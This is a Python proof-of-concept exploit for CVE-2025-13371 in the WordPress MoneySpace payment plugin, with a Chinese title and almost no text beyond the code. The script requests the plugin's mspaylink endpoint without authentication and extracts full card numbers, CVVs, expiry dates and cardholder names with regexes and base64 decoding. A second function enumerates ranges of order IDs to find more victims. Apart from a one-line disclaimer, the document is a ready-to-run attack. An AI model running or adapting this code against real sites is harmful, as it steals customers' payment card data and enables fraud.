CVE-2025-13371 WordPress MoneySpace插件敏感信息泄露漏洞

import requests import re import base64 # CVE-2025-13371 PoC - MoneySpace Plugin Sensitive Information Disclosure # Target: WordPress site with MoneySpace plugin (<= 2.13.9) # Vulnerability: Unauthenticated access to mspaylink endpoint exposes full credit card details def exploit_moneyspace_cve_2025_13371(target_url, order_id): """ Exploit for CVE-2025-13371 This PoC demonstrates how an unauthenticated attacker can retrieve full credit card details by accessing the mspaylink endpoint with a known order_id. WARNING: This code is for educational and authorized security testing only. """ # Construct the mspaylink URL with the target order_id mspaylink_url = f"{target_url.rstrip('/')}/?mspaylink=1&order_id={order_id}" print(f"[*] Targeting: {mspaylink_url}") print(f"[*] Attempting to retrieve payment card details for order_id: {order_id}") try: # Send HTTP GET request without any authentication response = requests.get(mspaylink_url, timeout=10) if response.status_code == 200: # Extract inline JavaScript containing sensitive card data # The plugin embeds card details in JavaScript variables # Extract patterns commonly used by the plugin patterns = { 'card_number': r'(?:pan|card_number|cardnum)[\'"]\s*:\s*[\'"]([0-9]+)[\'"]', 'cvv': r'(?:cvv|cvc)[\'"]\s*:\s*[\'"]([0-9]{3,4})[\'"]', 'expiry': r'(?:expiry|exp_date|valid_thru)[\'"]\s*:\s*[\'"]([0-9/\-]+)[\'"]', 'card_holder': r'(?:name|holder|card_holder|holder_name)[\'"]\s*:\s*[\'"]([^\'"]+)[\'"]' } print("\n[+] Successfully accessed mspaylink endpoint!") print("\n[+] Extracted sensitive information:") for data_type, pattern in patterns.items(): matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: for match in matches: # Decode base64 encoded data if present try: decoded = base64.b64decode(match).decode('utf-8') print(f" {data_type}: {decoded} (base64 decoded)") except: print(f" {data_type}: {match}") # Also search for base64 encoded data directly b64_pattern = r'"([A-Za-z0-9+/=]{20,})"' b64_matches = re.findall(b64_pattern, response.text) print("\n[+] Potential base64 encoded data found:") for b64_data in b64_matches[:5]: # Limit to first 5 try: decoded = base64.b64decode(b64_data).decode('utf-8', errors='ignore') if decoded.isprintable() and len(decoded) > 4: print(f" {b64_data[:30]}... -> {decoded}") except: pass else: print(f"[-] Failed to access endpoint. Status code: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") def scan_for_vulnerable_order_ids(target_url, id_range=(1000, 2000)): """ Scan for vulnerable order IDs using a range In real attack scenarios, attackers might use enumeration or guess order IDs """ print(f"[*] Scanning for vulnerable order IDs in range {id_range[0]}-{id_range[1]}") vulnerable_orders = [] for order_id in range(id_range[0], id_range[1] + 1): mspaylink_url = f"{target_url.rstrip('/')}/?mspaylink=1&order_id={order_id}" try: response = requests.get(mspaylink_url, timeout=5) if response.status_code == 200 and 'card' in response.text.lower(): print(f"[+] Potential vulnerable order found: {order_id}") vulnerable_orders.append(order_id) except: pass return vulnerable_orders # Example usage if __name__ == "__main__": target = "https://example-wordpress-site.com" order_id = 12345 # Replace with actual order ID # Single target exploitation exploit_moneyspace_cve_2025_13371(target, order_id) # Or scan for vulnerable orders # vulnerable = scan_for_vulnerable_order_ids(target, (1000, 5000))